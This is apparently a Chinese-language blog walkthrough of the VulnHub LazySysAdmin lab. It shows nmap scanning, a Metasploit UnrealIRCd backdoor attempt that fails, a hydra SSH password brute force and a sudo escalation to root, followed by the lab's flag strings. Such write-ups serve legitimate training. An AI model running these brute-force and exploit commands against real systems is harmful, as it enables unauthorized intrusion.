打靶-Lazysyadmin

前言

Lazysysadmin靶场下载：

https://download.vulnhub.com/lazysysadmin/Lazysysadmin.zip

渗透过程

1	arp-scan -l

nmap -sV 192.168.31.224 -A

22：可能存在ssh服务；

80：http服务；

139：NetBIOS/SMB服务，可能存在共享文件；

3306 mysql

先扫扫目录

发现用户名可能有用吧

看到6667端口有irc

什么是IRC

IRC（Internet Relay Chat的缩写，“因特网中继聊天”）是一种透过网络的即时聊天方式。其主要用于群体聊天，但同样也可以用于个人对个人的聊天。IRC使用的服务器端口有6667（明文传输，如irc://irc.freenode.net）、6697（SSL加密传输，如ircs://irc.freenode.net:6697）等。

芬兰人雅尔可·欧伊卡利宁（Jarkko Oikarinen）于1988年8月创造了IRC来取代一个叫做MUT的程序。

简单说明

不需要注册，但要在连接前设定好昵称；

使用 IRC，先登陆到一个 IRC 服务器，常见的为 irc.freenode.net ；

频道存在于 IRC 服务器上，类似于聊天室，名称以 # 开始，例如 #linuxba ；

可以单独和某人进行秘密交谈，甚至可以不用通过服务器，以保证谈话的保密性。

msf kali自带

msfconsole
use exploit/unix/irc/unreal_ircd_3281_backdoor
设置攻击机：set RHOST 192.168.31.224
然后执行：exploit

发现没有成功。。。

用前面用户名爆破一下ssh

1	hydra -l togie -P rockyou.txt 192.168.31.224 ssh

爆破得到密码12345

进来发现好像可以提权

sudo du

密码还是12345

拿到第一步

WX6k7NJtA8gfk*w5J3&T@*Ga6!0o5UP89hMVEQ#PT9851


Well done :)

Hope you learn't a few things along the way.

Regards,

Togie Mcdogie




Enjoy some random strings

WX6k7NJtA8gfk*w5J3&T@*Ga6!0o5UP89hMVEQ#PT9851
2d2v#X6x9%D6!DDf4xC1ds6YdOEjug3otDmc1$#slTET7
pf%&1nRpaj^68ZeV2St9GkdoDkj48Fl$MI97Zt2nebt02
bhO!5Je65B6Z0bhZhQ3W64wL65wonnQ$@yw%Zhy0U19pu
root@LazySysAdmin:~# ^C